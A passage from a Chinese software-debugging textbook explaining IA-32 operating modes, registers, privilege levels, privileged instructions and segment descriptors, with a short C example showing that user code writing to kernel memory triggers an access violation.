Developer’s Manual》,以下简称《IA编程手册》)。该手册的目前版
本分为4卷10册。卷1《基本架构》介绍了基本执行环境、数据类型、指
令集概要、过程调用、中断和异常、一般编程和使用FPU、MMX、SSE
编程等内容。卷2《指令参考》分四册(卷2A、2B、2C和2D)按字母
顺序详细地介绍了每一条指令。卷3《系统编程指南》(卷3A、3B、3C
和3D)从更深的层次阐述了英特尔架构的关键特征,包括保护模式下
的内存管理、保护机制、中断和异常处理、任务管理、多处理器管理、
高级可编程中断控制器(APIC)、处理器管理和初始化、高速缓存管
理、MMX/SSE/SSE2系统编程、系统管理、MCA、调试和性能监控、
8086模拟、混合16位和32位代码,以及IA32兼容性等内容。最后一卷是
MSR寄存器的详细描述。感兴趣的读者可以从英特尔网站免费下载英特
尔架构手册的电子版本,也可以获取英特尔公司不定期免费提供的这些
手册的印刷版本。
老雷评点
《中庸》有言,“君子戒慎乎其所不睹,恐惧乎其所不
闻。”CPU者,软件之所由生、所由载也,严肃钻研软件者,曷
可忽乎哉!本节文字,看似散淡,实甚费心,望读者察之。
2.3 CPU的操作模式
英特尔公司于1978年推出的8086处理器是x86处理器的第一代产
品,其后的IA-32处理器都是在8086的基础上发展演变而来的。尽管今
天的IA-32处理器与20多年前的8086相比,功能上已经有天壤之别,但
是它们仍保持着对包括8086在内的低版本处理器的向下兼容性。因此,
今天的IA-32处理器仍然可以很好地执行多年前为8086处理器编写的软
件。那么,32位的IA-32处理器是如何执行16位的8086/80286程序的呢?
要回答这个问题,就要了解CPU的操作模式。我们可以把操作模式理解
为CPU的工作方式,在不同的操作模式下CPU按照不同的方式来工作,
目的是可以执行不同种类的程序、完成不同的任务。迄今为止,IA-32
处理器定义了图2-2所示的5种操作模式,分别介绍如下。
图2-2 CPU的操作模式(摘自《IA-32手册》卷3A)
(1)保护模式(Protected Mode):所有IA-32处理器的本位
(native)模式,具有强大的虚拟内存支持和完善的任务保护机制,为
现代操作系统提供了良好的多任务(multitasking)运行环境。2.4节和
2.5节将进一步介绍与保护模式有关的重要概念。
(2)实地址模式(Real-address Mode):简称实模式(Real
Mode),即模拟8086处理器的工作模式。工作在此模式下的IA-32处理
器相当于高速的8086处理器。实模式提供了一种简单的单任务环境,可
以直接访问物理内存和I/O空间,由于操作系统和应用软件运行在同一
个内存空间中和同一个优先级上,因此操作系统的数据很容易被应用软
件所破坏。DOS操作系统运行在实模式下。CPU在上电或复位后总是处
于实模式状态。
(3)虚拟8086模式(Virtual-8086 Mode):保护模式下用来执行
8086任务(程序)的准模式(quasi-operating mode)。通过该模式,可
以把8086程序当作保护模式的一项任务来执行。实地址模式无疑为运行
8086程序提供了良好的硬件环境,但由于实地址模式无法运行现代的主
流操作系统,从保护模式切换到实模式来运行8086程序需要较大的开
销,难以实现。虚拟8086模式允许在不退出保护模式的情况下执行8086
程序,当CPU切换到一个8086任务时,它便以类似实模式的方式工作,
当CPU被切换到其他普通32位任务时,仍然以正常的方式工作,这样就
可以在一个操作系统下“同时”运行8086任务和普通的32位任务了。需要
注意的是,运行在虚拟8086模式下的8086任务在I/O访问方面会受到一
些限制,与运行在实模式下是有所不同的,但这是为了保证操作系统和
其他任务的安全所必需的。
(4)系统管理模式(System Management Mode,SMM):供系统
固件(firmware)执行电源管理、安全检查或与平台相关的特殊任务。
当CPU的系统管理中断管脚(SMI#)被激活时,处理器会将当前正在
执行的任务的上下文保存起来,然后切换到另一个单独的(separate)
地址空间中执行专门的SMM例程。SMM例程通过RSM指令使处理器退
出SMM模式并恢复到响应系统管理中断前的状态。386 SL处理器最先
引入系统管理模式,其后的所有IA-32处理器都支持该模式。
(5)IA-32e模式:支持Intel 64的64位工作模式,曾经称为64位内
存扩展技术(Extended Memory 64 Technology,EM64T),是IA-32
CPU支持64位的一种扩展技术,具有对现有32位程序的良好兼容性。
IA-32e模式由两个子模式组成:64位模式和兼容模式。64位模式提供了
64位的线性寻址能力,并能够访问超过64GB的物理内存(32位下启用
PAE功能后最多访问64GB物理内存)。兼容模式用于执行现有的32位
应用程序,使它们不做任何改动就可以运行在64位操作系统上。对于运
行在IA-32e模式下的64位操作系统,系统内核和内核态的驱动程序一定
是64位的代码,工作在64位模式下,应用程序可以是32位的(在兼容模
式下执行),也可以是64位的(在64位模式下执行)。本书讨论的情况
除特别说明外不包括IA-32e模式。
处理器在上电开始运行时或复位后是处于实地址模式的,CR0控制
寄存器的PE(Protection Enable)标志用来控制处理器处于实地址模式
还是保护模式。标志寄存器(EFLAGS)的VM标志用来控制处理器是
在虚拟8086模式还是普通保护模式下,EFER寄存器(Extended-Feature-
Enable Register)的LME(Long Mode Enable)用来启用IA-32e模式。关
于模式切换的细节,感兴趣的读者可以参阅IA编程手册卷3A第9章中
的“模式切换”一节。
2.4 寄存器
寄存器(register)是位于CPU内部的高速存储单元,用来临时存放
计算过程中用到的操作数、结果、程序指针或其他信息。CPU可以直接
操作寄存器中的值,因此访问寄存器的速度比访问内存要快得多。
通用数据寄存器的宽度(size)决定了CPU可以直接表示的数据范
围。比如32位的数据寄存器可以直接表示的最大整数值为2321,这也意
味着采用32位寄存器的CPU单次计算支持的最大整数位数是32位。因
此,寄存器的宽度和个数的多少是CPU的最基本指标。我们通常所说的
CPU位数,比如16位CPU、32位CPU或64位CPU,指的就是CPU中通用
寄存器的位数(宽度)。
与RISC CPU相比,CISC CPU的通用寄存器数量是比较少的。x86
CPU定义的用于程序执行的基本寄存器共有16个,包括8个通用寄存
器、6个段寄存器、1个标志寄存器和1个程序指针寄存器(EIP)。随着
CPU功能的增加,IA-32 CPU逐渐加入了控制寄存器、调试寄存器、用
于浮点和向量计算的向量寄存器、性能监视的寄存器,以及与CPU型号
有关的MSR寄存器,下面我们先分别介绍32位下的各类寄存器,然后再
扩展到64位的情况。
2.4.1 通用数据寄存器
通用数据寄存器又称GPR(General Purpose Register),共有8个,
分别为EAX、EBX、ECX、EDX、ESP、EBP、ESI和EDI,每个的最大
宽度是32位。E代表Extended(扩展),因为这些寄存器的名字来源于
16位的x86处理器(8086、80286等),当时称为AX、BX等。其中
EAX、EBX、ECX和EDX可以按字节(比如AL、AH、BL、BH等)或
字(比如AX、BX等)来访问。
尽管GPR寄存器大多数时候是通用的,可以用作任何用途,但是在
某些情况下,它们也有特定的隐含用法。举例来说,在下面这条循环赋
值(串赋值)指令中,ESI和EDI分别指向源和目标,ECX用作计数器,
控制要复制的长度。
rep movs dword ptr es:[edi],dword ptr [esi]
CPU执行这条指令时,会自动调整ESI、EDI和ECX的值,循环执
行。著名的memcpy函数内部就使用了这条指令。类似地,memset函数
内部主要依靠的是下面这条串存储指令:
rep stos dword ptr es:[edi]
这条指令执行时,CPU会将EAX中的值写到EDI指向的内存,然后
调整EDI和ECX。值得一提的是,上面这两条串指令的机器码都只有两
个字节,分别是0xf3a5和0xf3ab。
老雷评点
上述指令反映了CISC指令集的优点——(对软件工程师而
言)易于编程,源程序可读性高,目标代码紧凑短小(节约空
间)。
EBP和ESP主要用来维护堆栈,ESP(Extended Stack Pointer)通常
指向栈的顶部,EBP(Extended Base Pointer)指向当前栈帧(frame)
的起始地址(base pointer的名字即由此而来)。值得注意的是,在包括
x86在内的很多CPU架构中,栈都是向下生长的,因此当向栈中压入数
据时,栈指针(ESP)的值会减小,而不是增大,我们将在第2卷中详
细地介绍栈。
2.4.2 标志寄存器
IA-32 CPU有一个32位的标志寄存器,名为EFLAGS(见图2-3)。
标志寄存器的作用相当于大型机时代的监视控制面板。每个标志位相当
于面板上的一个按钮或指示灯,分别用来切换CPU的工作参数或显示
CPU的状态。
图2-3 EFLAGS寄存器
EFLAGS寄存器包含3类标志:用于报告算术指令(如ADD、
SUB、MUL、DIV等)结果的状态标志(CF、PF、AF、ZF、SF、
OF);控制字符串指令操作方向的控制标志(DF);供系统软件执行
管理操作的系统标志。表2-1列出了EFLAGS寄存器中各个标志位的含
义。
表2-1 EFLAGS寄存器中各个标志位的含义
标 志
位
含 义
CF(Carry Flag) 0
进位或借位
PF(Parity Flag) 2
当计算结果的最低字节中包含偶数个1时,该标志为1
AF(Adjust
Flag)
4
辅助进位标志,当位3(半个字节)处有进位或借位时该标志
为1
ZF(Zero Flag)
6
计算结果为0时,该标志为1,否则为0
SF(Sign Flag)
7
符号标志,结果为负时为1,否则为0
TF(Trap Flag)
8
陷阱标志,详见4.3节
IF(Interrupt
enable Flag)
9
中断标志,为0时禁止响应可屏蔽中断,为1时打开
OF(Overflow
Flag)
11 溢出标志,结果超出机器的表达范围时为1,否则为0
DF(Direction
Flag)
10 方向标志,为1时使字符串指令每次操作后递减变址寄存器
(ESI和EDI),为0时递增
IOPL(I/O
Privilege Level)
12
和
13
用于表示当前任务(程序)的I/O权限级别
NT(Nested Task
flag)
14 任务嵌套标志,为1时表示当前任务是链接到前面执行的任务
的,通常是由于中断或异常触发了IDT表中的任务门
RF(Resume
Flag)
16
控制处理器对调试异常(#DB)的响应,为1时暂时禁止由于
指令断点(是指通过调试寄存器设置的指令断点)导致的调
试异常,详见4.2.5节
VM(Virtual-
8086 Mode flag) 17 为1时启用虚拟8086模式,清除该位返回到普通的保护模式
AC(Alignment
Check flag)
18 设置此标志和CR0的AM标志可以启用内存对齐检查
VIF(Virtual
Interrupt Flag)
19 与VIP标志一起用于实现奔腾处理器引入的虚拟中断机制
VIP(Virtual
Interrupt Pending
flag)
20 与VIF标志一起用于实现奔腾处理器引入的虚拟中断机制
ID(Identification
flag)
21 用于检测是否支持CPUID指令,如果能够成功设置和清除该
标志,则支持CPUID指令
其中,CF位可以由STC和CLC指令来设置和清除,DF位可以由STD
和CLD指令来设置和清除,IF位可以通过STI和CLI指令来设置和清除
(有权限要求),而其他大多数标志都是不可以直接设置和清除的。
2.4.3 MSR寄存器
MSR(Model Specific Register)的本意是指这些寄存器与CPU型号
有关,还没有正式纳入IA-32架构中,也有可能不会被以后的CPU所兼
容。但尽管如此,某些MSR寄存器因为已经被多款CPU所广泛支持也已
经逐渐成为IA-32架构的一部分,比如第6章将介绍的用于机器检查架构
(MCA)的MSR寄存器。MSR寄存器的默认大小是64位,但是有些
MSR的某些位保留不用。每个MSR寄存器除了具有一个简短的帮助记
忆的代号外,还具有一个整数ID用作标识,有时也把MSR寄存器的ID
称为该寄存器的地址。例如,用于控制IA-32e模式的EFER寄存器的地
址是0xC0000080。
RDMSR指令用于读取MSR寄存器,首先应该将要读的MSR的ID放
入ECX寄存器,然后执行RDMSR指令,如果操作成功,返回值会被放
入EDX:EAX中(高32位在EDX中,低32位在EAX中)。WRMSR指令
用来写MSR寄存器,也是先把要写的MSR的ID放入ECX寄存器,并把
要写入的数据放入EDX:EAX寄存器中,然后执行WRMSR指令。
2.4.4 控制寄存器
IA-32 CPU设计了5个控制寄存器CR0~CR4(见图2-4),用来决定
CPU的操作模式以及当前任务的关键特征。其中CR0和CR4包含了很多
与CPU工作模式关系密切的重要标志位,详见表2-2。CR1自从386开始
就一直保留未用。CR2和CR3都与分页机制有关,是实现虚拟内存的基
础。简单来说,CR3用来切换和定位当前正在使用的页表。当软件访问
某个内存地址时,CPU会通过页表做地址翻译,当访问的内存不在物理
内存中而报告缺页异常时,CPU会通过CR2向操作系统报告访问失败的
线性地址。在一个多任务的系统中,通常每个任务都有一套相对独立的
页表。最早引入分页机制的386 CPU定义的页表结构为两级,第一级称
为页目录,第二级称为页表。当前任务的页目录位置便记录在CR3中,
因此CR3又称为页目录基地址寄存器(Page-Directory Base Register,
PDBR)。根据图2-4,CR3包含了页目录的基地址(物理地址)以及两
个用来控制页目录缓存(caching)的标志PCD和PWT。页目录基地址的
低12位被假定为0,因此页目录所在的内存一定是按照页(4KB)边界
对齐的。在2.7节中,我们会详细介绍虚拟内存技术和分页机制。
图2-4 控制寄存器
表2-2 控制寄存器中的标志位
标 志
位
含 义
PE(Protection Enable)
CR0[0]
为1时启用保护模式,为0时代表实地址模式
MP(Monitor Coprocessor) CR0[1]
用来控制WAIT/FWAIT指令对TS标志的检
查,详见2.11节有关设备不可用异常(#NM)
的介绍
EM(Emulation)
CR0[2]
为1时表示使用软件来模拟浮点单元(FPU)
进行浮点运算,为0时表示处理器具有内部的
或外部的FPU
TS(Task Switched)
CR0[3]
当CPU在每次切换任务时设置该位,在执行
x87 FPU和MMX/SSE/SSE2/SS3指令时检查该
位,主要用于支持在任务切换时延迟保存x87
FPU和MMX/SSE/SSE2/SS3上下文
ET(Extension Type)
CR0[4]
对于386和486的CPU,为1时表示支持387数
学协处理器指令,对于486以后的IA-32
CPU,该位保留(固定为1)
NE(Numeric Error)
CR0[5]
用来控制x87 FPU错误的报告方式,为1时启
用内部的本位(native)机制,为0时启用与
DOS兼容的PC方式
WP(Write Protect)
CR0[16] 为1时,禁止内核级代码写用户级的只读内存
页;为0时允许
AM(Alignment Mask)
CR0[18] 为1时启用自动内存对齐检查,为0时禁止
NW(Not Write-through)
CR0[29] 与CD标志共同控制高速缓存有关的选项
CD(Cache Disable)
CR0[30] 与NW标志共同控制高速缓存有关的选项
PG(Paging )
CR0[31] 为1时启用页机制(paging),为0时禁止
PCD(Page-level Cache
Disable)
CR3[4]
控制是否对当前页目录进行高速缓存
(caching),为1禁止,为0时允许
PWT(Page-level Writes
Transparent)
CR3[3]
控制页目录的缓存方式,为1时启用write-
through方式缓存;为0时启用write-back方式
缓存
VME(Virtual-8086 Mode
Extensions)
CR4[0]
为1时启用虚拟8086模式下的中断和异常处理
扩展:将中断和异常重定向到8086程序的处
理例程以减少调用虚拟8086监视程序
(monitor)的开销
PVI(Protected-Mode
Virtual Interrupts)
CR4[1]
为1时启用硬件支持的虚拟中断标志
(VIF),为0时禁止VIF标志
TSD(Time Stamp
Disable)
CR4[2]
为1时只有在0特权级才能使用RDTSC指令,
为0时所有特权级都可以使用该指令读取时间
戳
DE(Debugging
Extensions)
CR4[3]
为1时引用DR4和DR5寄存器将导致无效指令
(#UD)异常,为0时引用DR4和DR5等价于
引用DR6和DR7
PSE(Page Size
Extensions)
CR4[4]
为1时启用4MB内存页,为0时限制内存页为
4KB
PAE(Physical Address
Extension)
CR4[5]
为1时支持36位或36位以上的物理内存地址,
为0时限定物理地址为32位
MCE(Machine-Check
Enable)
CR4[6]
为1时启用机器检查异常,为0时禁止
PGE(Page Global Enable)
CR4[7]
为1时启用P6处理器引入的全局页功能,为0
时禁止
PCE(Performance-
Monitoring Counter Enable) CR4[8]
为1时允许所有特权级的代码都可以使用
RDPMC指令读取性能计数器,为0时只有在0
特权级才能使用RDPMC指令
OSFXSR(Operating System
Support for FXSAVE and
FXRSTOR instructions)
CR4[9]
操作系统使用,表示操作系统对FXSAVE、
FXRSTOR及SSE/SSE2/SSE3指令的支持,以
保证较老的操作系统仍然可以运行在较新的
CPU上
OSXMMEXCPT(Operating
System Support for
Unmasked SIMD Floating-
Point Exceptions)
CR4[10]
操作系统使用,表示操作系统对奔腾III处理
器引入的SIMD浮点异常(#XF)的支持。如
果该位为0表示操作系统不支持#XF异常,那
么CPU会通过无效指令异常(#UD)来报告
#XF异常,以防止针对奔腾III以前处理器设计
的操作系统在奔腾III或更新的CPU上运行时
出错
MOV CRn命令用来读写控制寄存器的内容,只有在0特权级才能执
行这个指令。
2.4.5 其他寄存器
除了上面介绍的寄存器,IA-32 CPU还有如下寄存器。
CS、DS、SS、ES、FS和GS是6个16位的段寄存器,当CPU工作在
实模式下时,其内容代表的是段地址的高16位,也就是将其乘以16(或
左移4位,或者说将十六进制表示的值末位加0)便可以得到该段的基地
址。例如,如果ES=2000H,那么指令MOV AL,ES:[100H]就是把地址
2000H*10H+100H=20100H处的一个字节放入AL寄存器中。在保护模式
下,段寄存器内存放的是段选择子,详见2.6节对保护模式的介绍。
1个32位的程序指针寄存器EIP(Extended Instruction Pointer),指
向的是CPU要执行的下一条指令,其值为该指令在当前代码段中的偏移
地址。如果一条指令有多个字节,那么EIP指向的是该指令的第一个字
节。
8个128位的向量运算寄存器XMM0~XMM7,供SSE/SSE2/SSE3指
令使用以支持对单精度浮点数进行SIMD计算。
8个80位的FPU和MMX两用寄存器ST0~ST7,当执行MMX指令
时,其中的低64位用作MMX数据寄存器MM0~MM7;当执行x87浮点
指令时,它们被用作浮点数据寄存器R0~R7。
1个48位的中断描述符表寄存器IDTR,用于记录中断描述符表
(IDT)的基地址和边界(limit),详见3.5节。
1个48位的全局描述符表寄存器GDTR,用于描述全局描述符表
(GDT)的基地址和边界,详见2.6节。
1个16位的局部描述符表(LDT)寄存器LDTR,存放的是局部描述
符表的选择子。
1个16位的任务寄存器TR,用于存放选取任务状态段(Task State
Segment,简称TSS)描述符的选择子。TSS用来存放一个任务的状态信
息,在多任务环境下,CPU在从一个任务切换到另一个任务时,前一个
任务的寄存器等状态被保存到TSS中。
1个64位的时间戳计数器(Time Stamp Counter,TSC),每个时钟
周期其数值加1,重启动时清零。RDTSC指令用来读取TSC寄存器,但
是只有当CR4寄存器的TSD位为0时,才可以在任何优先级执行该指
令,否则,只有在最高优先级下(级别0)才可以执行该指令。
内存类型范围寄存器(Memory Type and Range Register,
MTRR),定义了内存空间中各个区域的内存类型,CPU据此知道相应
内存区域的特征,比如是否可以对其做高速缓存等。
我们将在第5章中讨论性能监视寄存器。
调试寄存器DR0~DR7,用于支持调试,我们将在第4章中讨论。
2.4.6 64位模式时的寄存器
当支持64位的IA-32 CPU工作在64位模式(IA-32e)时,所有通用
寄存器和大多数其他寄存器都延展为64位(段寄存器始终为16位),并
可以使用RXX来引用它们,例如RAX、RBX、RCX、RFLAGS、RIP
等。此外,64位模式增加了如下寄存器。
8个新的通用寄存器R8~R15:可以分别使用RnD、RnW、RnL(n
= 8~15)来引用这些寄存器的低32位、低16位或低8位。
8个新的SIMD寄存器XMM8~XMM15。
控制寄存器CR8,又称为任务优先级寄存器(Task Priority
Register)。
Extended-Feature-Enable Register(EFER)寄存器:用来启用扩展
的CPU功能,其作用与标志寄存器类似。
关于每个寄存器的细节,读者需要时可以参考IA手册的第1卷和第3
卷。大多数调试器都提供了读取和修改寄存器的功能,比如在WinDBG
中可以使用r命令来显示或修改普通寄存器,使用rdmsr和wrmsr命令来
读取和编辑MSR寄存器。二者的工作原理是有所不同的,r命令操作的
是在中断到调试器时被调试程序保存在内存中的寄存器上下文,而
rdmsr和wrmsr操作的是CPU内部的物理寄存器。
2.5 理解保护模式
大多数现代操作系统(包括Windows 9X/NT/XP和Linux等)都是多
任务的,CPU的保护模式是操作系统实现多任务的基础。了解保护模式
的底层原理对学习操作系统和本书后面的章节有着事半功倍的作用。
保护模式是为实现多任务而设计的,其名称中的“保护”就是保护多
任务环境中各个任务的安全。多任务环境的一个基本问题就是当多个任
务同时运行时,如何保证一个任务不会受到其他任务的破坏,同时也不
会破坏其他任务,也就是要实现多个任务在同一个系统中“和平共处、
互不侵犯”。所谓任务,从CPU层来看就是CPU可以独立调度和执行的
程序单位。从Windows操作系统的角度来看,一个任务就是一个线程
(thread)或者进程(process)。
老雷评点
“任务”乃模糊用语,其含义视语境来定。
进一步来说,可以把保护模式对任务的保护机制划分为任务内的保
护和任务间的保护。任务内的保护是指同一任务空间内不同级别的代码
不会相互破坏。任务间的保护就是指一个任务不会破坏另一个任务。简
单来说,任务间的保护是靠内存映射机制(包括段映射和页映射)实现
的,任务内的保护是靠特权级别检查实现的。
2.5.1 任务间的保护机制
任务间的保护主要是靠虚拟内存映射机制来实现的,即在保护模式
下,每个任务都被置于一个虚拟内存空间之中,操作系统决定何时以及
如何把这些虚拟内存映射到物理内存。举例来说,在Win32(泛指
Windows的32位版本,例如Windows 95/98、Windows XP、Windows NT
和Windows Server 2003等)下,每个任务都被赋予4GB的虚拟内存空
间,可以用地址0~0xFFFFFFFF来访问这个空间中的任意地址。尽管不
同任务可以访问相同的地址(比如0x00401010),但因为这个地址仅仅
是本任务空间中的虚拟地址,不同任务处于不同的虚拟空间中,不同任
务的虚拟地址可以被映射到不同的物理地址,这样就可以很容易防止一
个任务内的代码直接访问另一个任务的数据。IA-32 CPU提供了两种机
制来实现内存映射:段机制(segmentation)和页机制(paging),我们
将在2.6节和2.7节做进一步介绍。
2.5.2 任务内的保护
任务内的保护主要用于保护操作系统。
操作系统的代码和数据通常被映射到系统中每个任务的内存空间
中,并且对于所有任务其地址是一样的。例如,在Windows系统中,操
作系统的代码和数据通常被映射到每个进程的高2GB空间中。这意味着
操作系统的空间对于应用程序是“可触及的”,应用程序中的指针可以指
向操作系统所使用的内存。
任务内保护的核心思想是权限控制,即为代码和数据根据其重要性
指定特权级别,高特权级的代码可以执行和访问低特权级的代码和数
据,而低特权级的代码不可以直接执行和访问高特权级的代码和数据。
高特权级通常被赋予重要的数据和可信任的代码,比如操作系统的数据
和代码。低特权级通常被赋予不重要的数据和不信任的代码,比如应用
程序。这样,操作系统可以直接访问应用程序的代码和数据,而应用程
序虽然可以指向系统的空间,但是不能访问,一旦访问就会被系统所发
现并禁止。在Windows系统中,我们有时会看到图2-5所示的应用程序错
误对话框,导致这种情况的一个典型原因就是应用程序有意或无意地访
问了禁止访问的系统空间(access violation),而被系统发现。
图2-5 应用程序试图访问系统使用的内存时遭到系统禁止
清单2-1列出了导致图2-5所示错误的应用程序(AccKernel)的源代
码。
清单2-1 AccKernel程序的源代码
int main(int argc, char* argv[])
{
printf("Hi, I want to access kernel space!\n");
*(int *)0xA0808080=0x22;
printf("I would never reach so far!\n");
return 0;
}
以上分析说明,尽管应用程序可以指向系统的内存,但是访问时会
被系统发现并禁止。我们将在第12章中进一步讨论应用程序错误。
事实上,应用程序只能通过操作系统公开的接口(API)来使用操
作系统的服务,即所谓的系统调用。系统调用相当于在系统代码和用户
代码之间开了一扇有人看守的小门。我们将在第8章对此做进一步的介
绍。
老雷评点
《中庸》有言,“万物并育而不相害,道并行而不相悖。”保
护模式是这一道理在计算机世界之体现。感叹少有人思考如此之
深。
2.5.3 特权级
IA-32处理器定义了4个特权级,又称为环(ring),分别用0、1、
2、3表示。0代表的特权级最高,3 代表的特权级最低。最高的特权级
通常是分配给操作系统的内核代码和数据的。比如Windows操作系统的
内核模块是在特权级0(ring 0)运行的,Windows下的各种应用程序
(例如MS Word、Excel等)是在特权级3运行的。因为特权级0下运行
的通常都是内核模块,所以人们便把在特权级0运行说成在内核模式
(kernel mode)运行,把在特权级3运行说成在用户模式(user mode)
运行,并因此把编写内核模式下执行的程序称为内核模式编程,把为内
核模式编写的驱动程序称为内核模式驱动程序等。
进一步说,处理器通过以下3种方式来记录和监控特权级别以实现
特权控制。
描述符特权级别(Descriptor Privilege Level,DPL),位于段描述
符或门描述符中,用于表示一个段或门(gate)的特权级别。
当前特权级别(Current Privilege Level,CPL),位于CS和SS寄存
器的位0和位1中,用于表示当前正在执行的程序或任务的特权级
别。通常CPL等于当前正被执行的代码段的DPL。当处理器切换到
一个不同DPL的段时,CPL会随之变化。但有一个例外,因为一致
代码段(conforming code segment)可以被特权级别与其相等或更
低(数值上大于或等于)的代码所访问,所以当CPU访问DPL大于
CPL(数值上)的一致代码段时,CPL保持不变。
请求者特权级别(Requestor Privilege Level,RPL),用于系统调
用的情况,位于保存在栈中的段选择子的位0和位1,用来代表请求
系统服务的应用程序的特权级别。在判断是否可以访问一个段时,
CPU既要检查CPL,也要检查RPL。这样做的目的是防止高特权级
的代码代替应用程序访问应用程序本来没有权力访问的段。举例来
说,当应用程序调用操作系统的服务时,操作系统会检查保存在栈
中的来自应用程序的段选择子的RPL,确保它与应用程序代码段的
特权级别一致,IA-32 CPU专门设计了一条指令ARPL(Adjust
Requested Procedure Level)用来辅助这一检查。而后,当操作系统
访问某个段时,系统会检查RPL。此时如果只检查CPL,那么因为
正在执行的是操作系统的代码,所以CPL反映的不是真正发起访问
者的特权级。
以访问数据段为例,当CPU要访问位于数据段中的操作数时,CPU
必须先把指向该数据段的段选择子加载到数据段寄存器(DS、ES、
FS、GS)或栈段寄存器(SS)中。在CPU把一个段选择子加载到段寄
存器之前,CPU会进行特权检查。具体来说就是比较当前代码的
CPL(也就是当前正在执行的程序或任务的特权级)、RPL和目标段的
DPL。仅当CPL和RPL数值上小于或等于DPL时,即CPL和RPL对应的权
限级别等于或大于DPL时,加载才会成功,否则便会抛出保护性异常。
这样便保证了一段代码仅能访问与它同特权级或特权级比它低的数据。
访问不同特权级的代码段时的权限检查更为复杂,我们将在第8章
讨论系统调用时略加介绍,有兴趣的读者请参考IA-32手册中有关门描
述符、调用门和一致代码段等内容。
2.5.4 特权指令
为了防止低特权级的应用程序擅自修改权限等级和重要的系统数据
结构,某些重要的指令只可以在最高特权级(ring 0)下执行,这些指
令被列为特权指令(priviliged instruction)。表2-3列出了IA-32处理器目
前定义的大多数特权指令。
表2-3 特权指令列表
指 令
含 义
CLTS
清除CR0寄存器中的Task Switched标志
HLT
使CPU停止执行指令进入HALT状态,中断、调试异常或BINIT#、
RESET#等硬件信号可以使CPU脱离HALT状态
INVD
使高速缓存无效,不回写(不必把数据写回到主内存)
WBINVD
使高速缓存无效,回写(需要把数据写回到主内存)
INVLPG
使TLB表项无效
LGDT
加载GDTR寄存器
LIDT
加载IDTR寄存器
LLDT
加载LDTR寄存器
LMSW
加载机器状态字(Machine Status Word),也就是CR0寄存器的0~15位
LTR
加载任务寄存器(TR)
MOV
to/from
CRn
读取或为控制寄存器赋值
MOV
to/from
DRn
读取或为调试寄存器赋值
MOV
to/from
TRn
读取或为测试寄存器赋值,386手册介绍了测试寄存器TR6和TR7,用来
测试TLB。最新的IA-32手册不再包含该内容
RDMSR
读MSR(Model-Specific Register)寄存器
WRMSR
写MSR(Model-Specific Register)寄存器
RDPMC
读性能监控计数器,CR4寄存器的PCE标志为1可以允许所有特权级的代
码都可以使用RDPMC指令
RDTSC
读时间戳计数器,CR4寄存器的TSD标志为0可以允许所有特权级的代码
都可以使用RDTSC指令
本节围绕任务保护这一主题,介绍了保护模式的基本概念和实现保
护的基本机制,包括特权级别和特权指令,这些机制对系统的安全运行
起着重要作用。下面我们将介绍保护模式下的内存管理。
2.6 段机制
内存是计算机系统的关键资源,程序必须被加载到内存中才可以被
CPU所执行。程序运行过程中,也要使用内存来记录数据和动态的信
息。在一个多任务系统中,每个任务都需要使用内存资源,因此系统需
要有一套机制来隔离不同任务所使用的内存。要使这种隔离既安全又高
效,那么硬件一级的支持是必需的。IA-32 CPU提供了多种内存管理机
制,这些机制为操作系统实现内存管理功能提供了硬件基础。
很多软件问题都是与内存有关的,深刻理解内存的使用规则对于软
件调试是很重要的。本节和2.7节将分别介绍IA-32 CPU的两种内存管理
机制:段机制和页机制。
CPU的段机制(segmentation)提供了一种手段可以将系统的内存
空间划分为一个个较小的受保护区域,其中每个区域称为一个段
(segment)。每个段都有自己的起始地址(基地址)、边界(limit)
和访问权限等属性。实现段机制的一个重要数据结构便是段描述符
(segment descriptor)。
2.6.1 段描述符
在保护模式下每个内存段都有一个段描述符,这是其他代码访问该
段的基本条件。每个段描述符是一个8字节长的数据结构,用来描述一
个段的位置、大小、访问控制和状态等信息。段描述符的通用格式如图
2-6所示。
图2-6 段描述符的通用格式
段描述符最基本的内容是这个段的基地址和边界。基地址是以4个
字节表示的(字节2、3、4和7),它可以是4GB线性地址空间中的任意
地址(00000000~0xFFFFFFFF)。边界是用20个比特位表示的(字节
0、1和字节6的低4位),其单位由粒度(Granularity)位(字节6的最高
位)决定,当G=0时,段边界的单位是1字节,当G=1时是4KB。因此
一个段的最大边界值是(220−1),最大长度是220×4KB=4GB。表2-4介
绍了段描述符的其他各个域的含义。
表2-4 段描述符的各个域及其含义
域简
称
全 程
含 义
S
系统
(System)
S=0代表该描述符描述的是一个系统段,S=1代表该描述符描述
的是代码段、数据段或堆栈段
P
存在
(Present)
该位代表被描述的段是否在内存中,P=1表示该段已经在内存
中,P=0表示该段不在内存中。内存管理软件可以使用该位来控
制将哪些段实际加载到物理内存中。这为虚拟内存管理提供了页
机制之外的另一种方法。事实上,最早支持保护模式的286 CPU
就没有分页机制
DPL
描述符特权
级
(Descriptor
Privilege
Level)
这两位定义了该段的特权级别(0~3),简单来说,仅当要访问
该段的程序的特权级别(称为CPL)等于或高于这个段的级别时
CPU才允许其访问,否则便会产生保护性异常(GPF)
D/B
Default/Big
对于代码段,该位表示的是这个代码段的默认位数(Default
Bit)。D=0表示16位代码段,D=1表示32位代码段* 对于栈数据
段,该位被称为B(Big)标志,B=1表示使用32位的堆栈指针
(保存在ESP中),B=0表示使用16位堆栈指针(保存在SP中)
Type 段类型
位0简称A位,表示该段是否被访问过(accessed),A=1表示被
访问过 ● 对于数据/堆栈段,位2是扩展方向位,简称
E(Expand)位,E=0表示向高端扩展,反之为1;位1是读写控
制位简称W(Write)位,W=0表示该段只可以读,W=1表示可
以读写 ● 对于代码段,位2表示该段是否是一致
(Conforming)代码段,简称C位。位1表示该段是否可读
(Read),简称R位,R=1表示该段既可以执行,又可以读;
R=0表示该段只可以执行,不可以读 位3是D/C位,决定了该段
是数据/堆栈段(Data/stack)(C/D=0)还是代码段(Code)
(C/D=1)
L
64-bit代码
段
用于描述IA-32e模式下的代码段,L=1表示代码段包含的是64位
代码,L=0表示该段包含的兼容模式的代码
AVL
Available
and reserved
bits
供系统软件(操作系统)使用
*默认代码长度属性定义的是默认的地址和操作数长度,可以用地
址大小前缀和操作数大小前缀改变默认长度。
值得说明的是,对于向下扩展(Expand-Down)的栈数据段,段边
界指定的是该段的最小偏移,B标志用来指定偏移的最大有效值(即上
边界),当B=1时,最大偏移是0xFFFFFFFF,这样,如果Limit=0,那
么段的总长度便是4GB(G=0),如果B=0,那么上边界便是0xFFFF。
2.6.2 描述符表
在一个多任务系统中通常会同时存在着很多个任务,每个任务会涉
及多个段,每个段都需要一个段描述符,因此系统中会有很多段描述
符,为了便于管理,系统用线性表来存放段描述符。根据用途不同,
